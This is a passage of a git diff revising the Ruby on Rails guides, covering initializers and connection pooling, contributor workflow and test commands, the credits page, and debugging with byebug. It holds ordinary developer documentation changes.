remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. +* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. * `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. @@ -631,20 +845,6 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as: - - ``` - Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id - ``` - - And: - - ``` - You have a nil object when you didn't expect it! - You might have expected an instance of Array. - The error occurred while evaluating nil.each - ``` - * `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. * `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". @@ -655,9 +855,9 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. -* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`. -* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`. +* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`. * `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. @@ -665,7 +865,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. -* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`. +* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. * `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. @@ -675,7 +875,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. -* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. * `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. @@ -736,4 +936,15 @@ Since the connection pooling is handled inside of Active Record by default, all Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. -NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. +If you try to use more connections than are available, Active Record will block +and wait for a connection from the pool. When it cannot get connection, a timeout +error similar to given below will be thrown. + +```ruby +ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it: +``` + +If you get the above error, you might want to increase the size of connection +pool by incrementing the `pool` option in `database.yml` + +NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index b9f42fa51b..edcf8fa998 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -11,7 +11,7 @@ After reading this guide, you will know: * How to contribute to the Ruby on Rails documentation. * How to contribute to the Ruby on Rails code. -Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. +Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. -------------------------------------------------------------------------------- @@ -24,18 +24,20 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge ### Creating a Bug Report -If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) +If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you do not find any issue addressing it you may proceed to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) -At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix. +Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. -### Create a Self-Contained gist for Active Record Issues +### Create a Self-Contained gist for Active Record and Action Controller Issues -If you are filing a bug report for Active Record, please use -[this template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) +If you are filing a bug report, please use +[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or +[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) if the bug is found in a published gem, and -[this template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) +[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or +[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) if the bug happens in the master branch. ### Special Treatment for Security Issues @@ -44,93 +46,29 @@ WARNING: Please do not report security vulnerabilities with public GitHub issue ### What about Feature Requests? -Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed. +Please don't put "feature request" items into GitHub Issues. If there's a new +feature that you want to see added to Ruby on Rails, you'll need to write the +code yourself - or convince someone else to partner with you to write the code. +Later in this guide you'll find detailed instructions for proposing a patch to +Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you +can expect it to be marked "invalid" as soon as it's reviewed. + +Sometimes, the line between 'bug' and 'feature' is a hard one to draw. +Generally, a feature is anything that adds new behavior, while a bug is +anything that fixes already existing behavior that is misbehaving. Sometimes, +the core team will have to make a judgement call. That said, the distinction +generally just affects which release your patch will get in to; we love feature +submissions! They just won't get backported to maintenance branches. + +If you'd like feedback on an idea for a feature before doing the work for make +a patch, please send an email to the [rails-core mailing +list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You +might get no response, which means that everyone is indifferent. You might find +someone who's also interested in building that feature. You might get a "This +won't be accepted." But it's the proper place to discuss new ideas. GitHub +Issues are not a particularly good venue for the sometimes long and involved +discussions new features require. -If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require. - -Setting Up a Development Environment ------------------------------------- - -To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer. - -### The Easy Way - -The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). - -### The Hard Way - -In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html). - - -Running an Application Against Your Local Branch ------------------------------------------------- - -The `--dev` flag of `rails new` generates an application that uses your local -branch: - -```bash -$ cd rails -$ bundle exec rails new ~/my-test-app --dev -``` - -The application generated in `~/my-test-app` runs against your local branch -and in particular sees any modifications upon server reboot. - - -Testing Active Record ---------------------- - -This is how you run the Active Record test suite only for SQLite3: - -```bash -$ cd activerecord -$ bundle exec rake test_sqlite3 -``` - -You can now run the tests as you did for `sqlite3`. The tasks are respectively - -```bash -test_mysql -test_mysql2 -test_postgresql -``` - -Finally, - -```bash -$ bundle exec rake test -``` - -will now run the four of them in turn. - -You can also run any single test separately: - -```bash -$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb -``` - -You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. - -### Warnings - -The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. - -As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: - -```bash -$ RUBYOPT=-W0 bundle exec rake test -``` - -### Older Versions of Ruby on Rails - -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: - -```bash -$ git branch --track 3-0-stable origin/3-0-stable -$ git checkout 3-0-stable -``` - -TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. Helping to Resolve Existing Issues ---------------------------------- @@ -172,7 +110,7 @@ After applying their branch, test it out! Here are some things to think about: Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: <blockquote> -I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too. +I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. </blockquote> If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. @@ -180,11 +118,16 @@ If your comment simply says "+1", then odds are that other reviewers aren't goin Contributing to the Rails Documentation --------------------------------------- -Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference. +Ruby on Rails has two main sets of documentation: the guides, which help you +learn about Ruby on Rails, and the API, which serves as a reference. You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides). -You can either ask for commit bit if you'd like to contribute to [Docrails](http://github.com/rails/docrails) regularly (Please contact anyone from [the core team](http://rubyonrails.org/core)), or else open a pull request to [Rails](http://github.com/rails/rails) itself. +You can either open a pull request to [Rails](http://github.com/rails/rails) or +ask the [Rails core team](http://rubyonrails.org/core) for commit access on +[docrails](http://github.com/rails/docrails) if you contribute regularly. +Please do not open pull requests in docrails, if you'd like to get feedback on your +change, ask for it in [Rails](http://github.com/rails/rails) instead. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. @@ -194,16 +137,28 @@ When working with documentation, please take into account the [API Documentation NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements. -NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. +NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. Contributing to the Rails Code ------------------------------ +### Setting Up a Development Environment + +To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer. + +#### The Easy Way + +The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). + +#### The Hard Way + +In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html). + ### Clone the Rails Repository -The first thing you need to do to be able to contribute code is to clone the repository: +To be able to contribute code, you need to clone the Rails repository: ```bash $ git clone git://github.com/rails/rails.git @@ -216,31 +171,33 @@ $ cd rails $ git checkout -b my_new_branch ``` -It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. +It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. + +### Running an Application Against Your Local Branch + +In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch: + +```bash +$ cd rails +$ bundle exec rails new ~/my-test-app --dev +``` + +The application generated in `~/my-test-app` runs against your local branch +and in particular sees any modifications upon server reboot. ### Write Your Code -Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: +Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind: * Get the code right. * Use Rails idioms and helpers. * Include tests that fail without your code, and pass with it. * Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution. -It is not customary in Rails to run the full test suite before pushing -changes. The railties test suite in particular takes a long time, and even -more if the source code is mounted in `/vagrant` as happens in the recommended -workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). - -As a compromise, test what your code obviously affects, and if the change is -not in railties run the whole test suite of the affected component. If all is -green that's enough to propose your contribution. We have [Travis CI](https -://travis-ci.org/) as a safety net for catching unexpected breakages -elsewhere. TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted. -### Follow the Coding Conventions +#### Follow the Coding Conventions Rails follows a simple set of coding style conventions: @@ -256,7 +213,94 @@ Rails follows a simple set of coding style conventions: * Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks. * Follow the conventions in the source you see used already. -The above are guidelines — please use your best judgment in using them. +The above are guidelines - please use your best judgment in using them. + +### Running Tests + +It is not customary in Rails to run the full test suite before pushing +changes. The railties test suite in particular takes a long time, and even +more if the source code is mounted in `/vagrant` as happens in the recommended +workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). + +As a compromise, test what your code obviously affects, and if the change is +not in railties, run the whole test suite of the affected component. If all +tests are passing, that's enough to propose your contribution. We have +[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching +unexpected breakages elsewhere. + +#### Entire Rails: + +To run all the tests, do: + +```bash +$ cd rails +$ bundle exec rake test +``` + +#### For a Particular Component + +You can run tests only for a particular component (e.g. Action Pack). For example, +to run Action Mailer tests: + +```bash +$ cd actionmailer +$ bundle exec rake test +``` + +#### Running a Single Test + +You can run a single test through ruby. For instance: + +```bash +$ cd actionmailer +$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout +``` + +The `-n` option allows you to run a single method instead of the whole +file. + +##### Testing Active Record + +This is how you run the Active Record test suite only for SQLite3: + +```bash +$ cd activerecord +$ bundle exec rake test_sqlite3 +``` + +You can now run the tests as you did for `sqlite3`. The tasks are respectively + +```bash +test_mysql +test_mysql2 +test_postgresql +``` + +Finally, + +```bash +$ bundle exec rake test +``` + +will now run the four of them in turn. + +You can also run any single test separately: + +```bash +$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb +``` + +You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. + +### Warnings + +The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. + +If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: + +```bash +$ RUBYOPT=-W0 bundle exec rake test +``` ### Updating the CHANGELOG @@ -264,7 +308,7 @@ The CHANGELOG is an important part of every release. It keeps the list of change You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. -A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry: +A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: ``` * Summary of a change that briefly describes what was changed. You can use multiple @@ -285,7 +329,13 @@ Your name can be added directly after the last word if you don't provide any cod ### Sanity Check -You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. +You should not be the only person who looks at the code before you submit it. +If you know someone else who uses Rails, try asking them if they'll check out +your work. If you don't know anyone else using Rails, try hopping into the IRC +room or posting about your idea to the rails-core mailing list. Doing this in +private before you push a patch out publicly is the "smoke test" for a patch: +if you can't convince one other developer of the beauty of your code, you’re +unlikely to convince the core team either. ### Commit Your Changes @@ -329,7 +379,7 @@ TIP. Please squash your commits into a single commit when appropriate. This simp ### Update Your Branch -It’s pretty likely that other changes to master have happened while you were working. Go get them: +It's pretty likely that other changes to master have happened while you were working. Go get them: ```bash $ git checkout master @@ -399,25 +449,47 @@ $ git push origin branch_name ### Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. - -Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range". +Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner. -Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes. +Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison". -Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission. +Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission. ### Get some Feedback -Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. +Most pull requests will go through a few iterations before they get merged. +Different contributors will sometimes have different opinions, and often +patches will need revised before they can get merged. + +Some contributors to Rails have email notifications from GitHub turned on, but +others do not. Furthermore, (almost) everyone who works on Rails is a +volunteer, and so it may take a few days for you to get your first feedback on +a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such +is the open source life. + +If it's been over a week, and you haven't heard anything, you might want to try +and nudge things along. You can use the [rubyonrails-core mailing +list](http://groups.google.com/group/rubyonrails-core/) for this. You can also +leave another comment on the pull request. + +While you're waiting for feedback on your pull request, open up a few other +pull requests and give someone else some! I'm sure they'll appreciate it in +the same way that you appreciate feedback on your patches. ### Iterate as Necessary -It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem. +It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem. #### Squashing commits -One of the things that we may ask you to do is "squash your commits," which +One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history @@ -453,7 +525,18 @@ $ git push origin my_pull_request -f You should be able to refresh the pull request on GitHub and see that it has been updated. -### Backporting +### Older Versions of Ruby on Rails + +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: + +```bash +$ git branch --track 4-0-stable origin/4-0-stable +$ git checkout 4-0-stable +``` + +TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. + +#### Backporting Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort. diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb index 10dd8178fb..8767fbecce 100644 --- a/guides/source/credits.html.erb +++ b/guides/source/credits.html.erb @@ -64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <% end %> <%= author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>. + Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>. <% end %> <%= author('Emilio Tagua', 'miloops') do %> @@ -74,3 +74,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <%= author('Heiko Webers', 'hawe') do %> Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back. <% end %> + +<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %> + Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>. +<% end %> diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md index 0860e3119d..b067d9efb7 100644 --- a/guides/source/debugging_rails_applications.md +++ b/guides/source/debugging_rails_applications.md @@ -123,7 +123,7 @@ config.logger = Logger.new(STDOUT) config.logger = Log4r::Logger.new("Application Log") ``` -TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`. +TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running. ### Log Levels @@ -198,7 +198,7 @@ Adding extra logging like this makes it easy to search for unexpected or unusual ### Tagged Logging -When running multi-user, multi-account applications, it’s often useful +When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. @@ -209,430 +209,591 @@ logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs " logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" ``` -Debugging with the `debugger` gem +### Impact of Logs on Performance +Logging will always have a small impact on performance of your rails app, + particularly when logging to disk.However, there are a few subtleties: + +Using the `:debug` level will have a greater performance penalty than `:fatal`, + as a far greater number of strings are being evaluated and written to the + log output (e.g. disk). + +Another potential pitfall is that if you have many calls to `Logger` like this + in your code: + +```ruby +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +``` + +In the above example, There will be a performance impact even if the allowed +output level doesn't include debug. The reason is that Ruby has to evaluate +these strings, which includes instantiating the somewhat heavy `String` object +and interpolating the variables, and which takes time. +Therefore, it's recommended to pass blocks to the logger methods, as these are +only evaluated if the output level is the same or included in the allowed level +(i.e. lazy loading). The same code rewritten would be: + +```ruby +logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} +``` + +The contents of the block, and therefore the string interpolation, is only +evaluated if debug is enabled. This performance savings is only really +noticeable with large amounts of logging, but it's a good practice to employ. + +Debugging with the `byebug` gem --------------------------------- -When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. +When your code is behaving in unexpected ways, you can try printing to logs or +the console to diagnose the problem. Unfortunately, there are times when this +sort of error tracking is not effective in finding the root cause of a problem. +When you actually need to journey into your running source code, the debugger +is your best companion. -The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. +The debugger can also help you if you want to learn about the Rails source code +but don't know where to start. Just debug any request to your application and +use this guide to learn how to move from the code you have written deeper into +Rails code. ### Setup -You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run: +You can use the `byebug` gem to set breakpoints and step through live code in +Rails. To install it, just run: ```bash -$ gem install debugger +$ gem install byebug ``` -Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method. +Inside any Rails application you can then invoke the debugger by calling the +`byebug` method. Here's an example: ```ruby class PeopleController < ApplicationController def new - debugger + byebug @person = Person.new end end ``` -If you see this message in the console or logs: +### The Shell + +As soon as your application calls the `byebug` method, the debugger will be +started in a debugger shell inside the terminal window where you launched your +application server, and you will be placed at the debugger's prompt `(byebug)`. +Before the prompt, the code around the line that is about to be run will be +displayed and the current line will be marked by '=>'. Like this: ``` -***** Debugger requested, but was not available: Start server with --debugger to enable ***** +[1, 10] in /PathTo/project/app/controllers/posts_controller.rb + 3: + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: byebug +=> 8: @posts = Post.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @posts } + +(byebug) ``` -Make sure you have started your web server with the option `--debugger`: +If you got there by a browser request, the browser tab containing the request +will be hung until the debugger has finished and the trace has finished +processing the entire request. + +For example: ```bash -$ rails server --debugger => Booting WEBrick -=> Rails 4.0.0 application starting on http://0.0.0.0:3000 -=> Debugger enabled -... -``` +=> Rails 4.1.0 application starting in development on http://0.0.0.0:3000 +=> Run `rails server -h` for more startup options +=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option) +=> Ctrl-C to shutdown server +[2014-04-11 13:11:47] INFO WEBrick 1.3.1 +[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux] +[2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000 -TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`. -### The Shell +Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 + ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" +Processing by PostsController#index as HTML -As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. +[3, 12] in /PathTo/project/app/controllers/posts_controller.rb + 3: + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: byebug +=> 8: @posts = Post.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @posts } -If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. +(byebug) +``` -For example: +Now it's time to explore and dig into your application. A good place to start is +by asking the debugger for help. Type: `help` -```bash -@posts = Post.all -(rdb:7) ``` +(byebug) help -Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help` +byebug 2.7.0 -``` 